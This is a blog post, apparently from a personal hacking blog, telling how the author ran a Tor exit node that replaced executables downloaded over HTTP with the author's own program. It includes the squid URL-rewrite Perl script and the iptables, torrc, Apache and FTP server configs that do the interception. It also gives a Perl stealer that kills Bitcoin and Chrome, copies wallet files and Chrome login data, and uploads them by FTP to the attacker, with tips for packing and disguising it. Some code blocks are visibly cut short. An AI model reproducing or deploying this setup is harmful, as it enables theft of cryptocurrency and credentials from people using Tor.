Home From dirty Tor exit nodes to Bitcoin wallet.dat theft

From dirty Tor exit nodes to Bitcoin wallet.dat theft


While living at a halfway house, otherwise bored of being sober at the time, I decided I was going to run a Tor exit node. The neat thing about Tor exit nodes is, if you are an operator, you control any and all data that passes through your node, with the ability to packet sniff, or even inject foreign code into the unencrypted data streams.

How I did it

Edit: I updated a lot of the code to how you would do it currently, as this writeup is a couple years old and had been using older versions of software. Some things may have changed. I also edited my configs to show comments on why some of the setup is needed the way it is.

Some of this would need to be tweaked to your specific use case scenario and server setup, but the basic idea is to take data coming from the tor server connecting to HTTP port 80, and reroute that traffic to a squid proxy that runs msfvenom on any exe attempted to be downloaded over the node, tagging the Windows PE executable with your own hot-patched binary. Basically this means that the useage of the exe will be the same for the user, but run your function code, say, on exit.

Edit: I ended up just creating my own executable, because by the time they run it, it’s too late and because it’s faster, I feel like people would get a lil sus waiting on a tagged binary to be generated. Also currently most msfvenom packed/obfunscated payloads are picked up by Windows Defender.

My Environment

My exit node setup is a Debian 11 VPS in another country. Windows 10 was used as a test victim.

All software was updated to most recent versions with APT before setup.

Apache HTTPd 2.4.51
Squid 4.13
Perl 5.32.1 (exit node)
Strawberry Perl 5.32.1 (windows 10 par packer and test machine)
iptables 1.8.7
vsFTPd 3.0.3

The Hack

The perl code that does the actual patching (you may need to touch /var/log/patched_urls.log logging to work):

$|++;                                                                           # turn off line buffer
$count = 0;
while (<>) {
    chomp $_;
    my @parts = split;
    my $url = @parts[0];
    if ( $url =~ /.*\.exe$/i ) {                                                # replcaement regex
     system("echo 'Patch: $count Patched: $url' >> /var/log/patched_urls.log"); # log
     print ( "\n" );                                   # the final exe we want to replace with
    else {
      print "$url\n";                                                           # if not an exe print the actual url
  $count++;                                                                     # update count

Is called by a squid proxy with the following configuration:

visible_hostname                                  # spoofed
http_access allow all                                       # other networks
http_port 8080                                              # this needs to be here for it to run right
http_port 3128 intercept                                    # this we will be pointing tor at
forwarded_for delete                                        # to hide we're a proxy
via off                                                     # also hides we're a proxy
url_rewrite_program /home/oxagast/frankenpatch.pl           # the rewrite code

Which is called to action when tor attempts to make a connection to a exe download page over HTTP. This is accomplished through some iptables rerouting magic (take note of stuff leaving the tor program’s uid 109 and rerouting it form dstip:80 to our squid proxy sitting on

:OUTPUT ACCEPT [197:12025]
-A OUTPUT -p tcp -m tcp --dport 80 -m owner --uid-owner debian-tor -j DNAT --to-destination         # this needs to be here to redirect tor bin's user's traffic to the proxy
:PREROUTING ACCEPT [20929:17905684]
:INPUT ACCEPT [20929:17905684]
:OUTPUT ACCEPT [22075:17054611]
:POSTROUTING ACCEPT [22075:17054611]
:INPUT ACCEPT [201:11864]
:OUTPUT ACCEPT [22075:17054611]
-A INPUT -s -p tcp -m tcp --dport 3128 -j ACCEPT                                               # accept the packet on this side
-A INPUT -d -j ACCEPT                                                                             # accept all local traffic
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT                                               # conntrack for other conns to work from our outbound
-A INPUT -p tcp -m tcp --dport 80 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT                          # in case you want a notice on the http server
-A INPUT -p tcp -m tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT                          # ssh to admin this
-A INPUT -p tcp -m tcp --dport 9001 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT                        # for tor node
-A INPUT -p tcp --dport 21 -m state --state ESTABLISHED,NEW -j ACCEPT                                       # for ftp
-A INPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT                                           # also for ftp
-A INPUT -j DROP                                                                                            # drop other stuff
:PREROUTING ACCEPT [20929:17905684]
:OUTPUT ACCEPT [22075:17054611]

Concerning Tor itself, it’s importnat to note that you reject all traffic other than port 80 or you’ll just run your bill up forwarding traffic that you can’t patch. The torrc file below which tells tor how to start up:

ORPort [redacted]:9001                # server doesn't autodetect this
OutboundBindAddress [redacted]        # server doesn't autodetect this either
Address [redacted]                    # because cherry servers didn't pick this up
Nickname [redacted]                   # nick
ContactInfo [redacted]                # contact
ExitRelay 1                           # make us an exit node
ExitPolicyRejectPrivate 0             # needed for squid
ClientRejectInternalAddresses 0       # needed for the squid proxy
ExitPolicy accept *:80,reject *:*     # we only want http traffic
RelayBandwidthRate 7.4 MBits          # this is for 5TB/mo (both ways)
RelayBandwidthBurst 1 GBits           # max burst, kill 'em
AccountingMax 4.9 TBytes              # hybernate if we hit that (leave some 
                                      # headroom for updates, misc)
Log notice file /var/log/tor/tor.log  # notices log

For good measure, I’m going to include my apache2 server config below:

DefaultRuntimeDir ${APACHE_RUN_DIR}
Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5
HostnameLookups Off
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
Include ports.conf
<Directory />
        Options FollowSymLinks
        AllowOverride None
        Require all denied
<Directory /usr/share>
        AllowOverride None
        Require all granted
<Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
AccessFileName .htaccess
<FilesMatch "^\.ht">
        Require all denied
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
IncludeOptional conf-enabled/*.conf
IncludeOptional sites-enabled/*.conf

Now finally, the code that gets tagged as an executable:

use Archive::Zip qw( :ERROR_CODES :CONSTANTS );
use Net::FTP;
print("Setting up installer environment...\n");
$home = `echo C:%homepath%`;
$outdir = $home . "\\[redacted]\\";
$roaming = `echo %AppData%`;
$locald = `echo %LocalAppData%`;
system("rmdir $outdir /S /Q");
system('START /wait taskkill /f /im bitcoin-qt.exe 2>NUL');
system('START /wait taskkill /f /im chrome.exe 2>NUL');
system("mkdir $outdir");
system("xcopy $roaming\\Bitcoin\\wallets\\* $outdir >NUL /E /H");
system("xcopy \"$locald\\Google\\Chrome\\User Data\\Default\\Login*\" $outdir >NUL");
my $zip = Archive::Zip->new();
$zip->addTree($outdir, 'data');
$randwall = int(rand(89999) + 1000);
$writefn =  $home . "\\" . $randwall . ".zip";
$si = -s $writefn;
if ($si == 22) {system("rmdir $outdir /q /s"); goto ST};
my ($ftp, $host, $user, $pass, $dir, $fpath);
$host = "[redacted]";
$ftp = Net::FTP->new($host, Debug => 0);
$user = "[redacted]";
$pass = "[redacted]";
$dir = "/home/[redacted]";
$fpath = $writefn;
$ftp->login($user, $pass) || die $ftp->message;
system("rmdir $outdir");
print("Setup: unknown error: -38428853.\n");

This last bit of code uploads the users bitcoin wallet.dat to a FTP server of your choosing. Test it and get it working right then you should pack it to an .exe with pp “PAR Packer” ex. pp btcup.pl -o f.exe. I would also modify the icon with a resoruce editor. You also need to actually upload your par packed .exe to the exit node and put it in /var/www/html/ (or where ever your webserver is serving, but if that is different, update frankenpatch.pl.

You’ll need to edit the [redacted] info.

You also need to create a user on the tor node you can upload to. For security make sure to chsh -s /bin/false newuser it.

Also this is the FTP server’s conf we’ll be uploading back to:

listen=YES                              # turn it on
listen_ipv6=NO                          # we don't need this usually
anonymous_enable=NO                     # don't want that
local_enable=YES                        # need for local login
write_enable=YES                        # let us drop the wallets
xferlog_enable=YES                      # you want a log of (other, hehe) hackers
connect_from_port_20=YES                # active
nopriv_user=ftp                         # priv seperation is good
ssl_enable=NO                           # we don't need ssl

What it looks like in action

This is particularly nasty code and I do NOT recommend running any of this on your own ever. Running this setup in your country may be illegal!

Be safe, my hacker friends, and I hope you enjoyed reading!

This post is licensed under CC BY 4.0 by the author.

CVE-2017-5816 HP iMC PLAT RCE Whitepaper

Creating a secured terminal paste tool

Comments powered by Disqus.